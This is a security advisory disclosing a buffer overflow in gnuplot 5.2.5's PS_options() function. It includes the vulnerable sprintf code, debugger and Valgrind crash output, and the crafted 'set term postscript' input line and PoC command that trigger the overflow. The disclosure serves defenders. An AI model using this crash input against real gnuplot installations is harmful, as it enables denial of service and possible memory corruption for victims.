Buffer overflow vulnerability in PS_options() – gnuplot 5.2.5

Buffer overflow vulnerability in PS_options() – gnuplot 5.2.5

Loginsoft-2018-17974
November 2, 2018

CWE

CWE-120: Classic Buffer Overflow

Product Details

Gnuplot is a portable command-line driven graphing utility.
URL: https://sourceforge.net/projects/gnuplot/

Vulnerable Versions

5.2.5 branch

Vulnerability Details

During our research on the gnuplot, we found buffer overflow vulnerability. This can be triggered by sending a crafted file to gnuplot. This allows an attacker to cause Denial of Service (Segmentation fault and Memory Corruption) or possibly have unspecified other impacts when a victim opens a specially crafted file.

SYNOPSIS

In our research we found that in function PS_options() in program post.trm, There exists an condition if (ps_params->oldstyle) where the value of ps_params->oldstyle is zero and makes the program enter to the else section, where it calls sprintf() as we observed the basic syntax of sprintf() in this program is sprintf(BUFFERSIZE,char,int). PS_default_font consists of a buffer value of 51. When a crafted input file is sent to the binary, we observed that ps_params->font had a size of 51 and ps_fontsize with size 14. Which buffer size of both ps_params->font ps_fontsize together is larger than the allocated buffer in PS_default_font which triggered a buffer overflow vulnerability.

Analysis
if (ps_params->oldstyle) 
term->h_char = (unsigned int)(ps_fontsize*PS_SCF*5/10); 
else 
term->h_char = (unsigned int)(ps_fontsize*PS_SCF*6/10); 
sprintf(PS_default_font,"%s,%.2g",ps_params->font,ps_fontsize);
gef➤  p __sprintf 
$37 = {int (char *, const char *, ...)} 0x7ffff7555940  
gef➤  ptype PS_default_font 
type = char [51] 
gef➤  p ps_fontsize 
$38 = 14 
gef➤  p/d ps_params->font 
$39 = {99, 111, 105, 116, 108, 101, 100, 97, 115, 119, 101, 100, 45, 108, 119, 45, 49, 45, 34, 68, 101, 95, 97, 86, 117, 83, 97, 115, 116, 115, 99, 114, 105, 112, 116, 115, 101, 116, 45, 111, 117, 116, 112, 82, 116, 45, 34, 116, 101, 109, 0} 
gef➤  ptype ps_params 
type = struct ps_params_t { 
    enum PS_TERMINALTYPE terminal; 
    int xoff; 
    int yoff; 
    enum PS_PSFORMAT psformat; 
    _Bool level1; 
    _Bool level3; 
    _Bool color; 
    _Bool blacktext; 
    _Bool solid; 
    float dash_length; 
    float linewidth_factor; 
    float pointscale_factor; 
    _Bool duplex_option; 
    _Bool duplex_state; 
    _Bool rounded; 
    _Bool clipped; 
    struct ps_fontfile_def *first_fontfile; 
    char font[51]; 
    float fontsize; 
    float fontscale; 
    _Bool useauxfile; 
    _Bool rotate; 
    int palfunc_samples; 
    double palfunc_deviation; 
    _Bool oldstyle; 
    _Bool epslatex_standalone; 
    _Bool adobeglyphnames; 
    rgb_color background; 
} *
ASAN Output
==21975== Memcheck, a memory error detector 
==21975== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. 
==21975== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info 
==21975== Command: gnuplot -d -c /home/aceteam/POC 
==21975==  

set term postscript port enhanced'coitledaswed lw 1 "De_aVuSastscriptset outpRt "tempNps"' 
                                 ^ 
*** buffer overflow detected ***: gnuplot terminated 
==21975==  
==21975== Process terminating with default action of signal 6 (SIGABRT) 
==21975==    at 0x562AE97: raise (raise.c:51) 
==21975==    by 0x562C800: abort (abort.c:79) 
==21975==    by 0x5675896: __libc_message (libc_fatal.c:181) 
==21975==    by 0x5720CFE: __fortify_fail_abort (fortify_fail.c:33) 
==21975==    by 0x5720D20: __fortify_fail (fortify_fail.c:44) 
==21975==    by 0x571EA0F: __chk_fail (chk_fail.c:28) 
==21975==    by 0x571DF28: _IO_str_chk_overflow (vsprintf_chk.c:31) 
==21975==    by 0x567A493: _IO_default_xsputn (genops.c:417) 
==21975==    by 0x56479A9: vfprintf (vfprintf.c:1674) 
==21975==    by 0x571DFCA: __vsprintf_chk (vsprintf_chk.c:82) 
==21975==    by 0x571DEF9: __sprintf_chk (sprintf_chk.c:31) 
==21975==    by 0x4ACEBC: sprintf (stdio2.h:33) 
==21975==    by 0x4ACEBC: PS_options (post.trm:1197) 
==21975==  
==21975== HEAP SUMMARY: 
==21975==     in use at exit: 27,001 bytes in 144 blocks 
==21975==   total heap usage: 230 allocs, 86 frees, 160,952 bytes allocated 
==21975==  
==21975== LEAK SUMMARY: 
==21975==    definitely lost: 0 bytes in 0 blocks 
==21975==    indirectly lost: 0 bytes in 0 blocks 
==21975==      possibly lost: 0 bytes in 0 blocks 
==21975==    still reachable: 27,001 bytes in 144 blocks 
==21975==         suppressed: 0 bytes in 0 blocks 
==21975== Rerun with --leak-check=full to see details of leaked memory 
==21975==  
==21975== For counts of detected and suppressed errors, rerun with: -v 
==21975== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) 
Aborted
Proof of Concept

gnuplot -d –c $POC

Timeline

Vendor Disclosure: 2018-11-02
Public Disclosure: 2018-11-03

Credit

Discovered by ACE Team – Loginsoft